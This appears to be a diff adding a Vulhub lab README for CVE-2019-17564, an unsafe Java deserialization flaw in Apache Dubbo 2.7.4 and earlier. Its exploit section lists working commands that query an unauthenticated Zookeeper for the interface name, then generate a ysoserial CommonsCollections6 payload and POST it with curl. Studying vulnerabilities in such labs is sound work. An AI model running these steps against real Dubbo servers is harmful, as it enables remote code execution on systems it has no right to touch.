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+# Aapche Dubbo Unsafe Java Deserialization (CVE-2019-17564)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Apache Dubbo is a high-performance, java based open source RPC framework.
+
+Apache Dubbo supports different protocols, and its HTTP protocol handler is a wrapper of Spring Framework's `org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter`.
+
+A security warning of Spring Framework shows that an unsafe Java deserialization is exist in the `HttpInvokerServiceExporter`, which could lead to a RCE vulnerability:
+
+> WARNING: Be aware of vulnerabilities due to unsafe Java deserialization: Manipulated input streams could lead to unwanted code As a consequence, do not expose HTTP invoker endpoints to untrusted As a consequence, do not expose HTTP invoker endpoints to untrusted clients but rather just between your own services. In general, we strongly recommend any other message format (e.g. JSON) instead.
+
+This vulnerability affects Apache Dubbo 2.7.4 and earlier, after 2.7.5 Dubbo replace `HttpInvokerServiceExporter` with `com.googlecode.jsonrpc4j.JsonRpcServer`.
+
+Reference links.
+
+- https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/remoting/httpinvoker/HttpInvokerServiceExporter.html
+- https://www.anquanke.com/post/id/198747
+- https://paper.seebug.org/1128/
+
+## Vulnerable Application
+
+Start an Apache Dubbo 2.7.3 Provider by executing the following command.
+
+```
+docker compose up -d
+```
+
+After the service is started, browser ``http://your-ip:8080`` and the server will return an empty 500 error page by default.
+
+## Exploit
+
+It is important to know the RPC interface name before leveraging this vulnerability.
+
+Vulhub is exposing the port 8080 and port 2181, where 2181 is the port of Zookeeper. Download [Zookeeper](https://zookeeper.apache.org/) and use the script **zkCli** to connect to the unauthenticated Zookeeper server:
+
+```
+./zkCli -server target-ip:2181
+```
+
+After connecting, it is come with an interactive console, where you can `ls` all nodes, including Dubbo-related configuration.
+
+![](1.png)
+
+Get the RPC interface named `org.vulhub.api.CalcService`. Use [ysoserial](https://github.com/frohoff/ysoserial) to generate a `CommonsCollections6` payload, then send it to `http://your-ip:8080/org.vulhub.api.CalcService` as POST body.
+
+```
+java -jar ysoserial.jar CommonsCollections6 "touch /tmp/success" > 1.poc
+curl -XPOST --data-binary @1.poc http://your-ip:8080/org.vulhub.api.CalcService
+```
+
+![](2.png)
+
+Entering the container, you can see that `touch /tmp/success` has been executed successfully.
+
+![](3.png)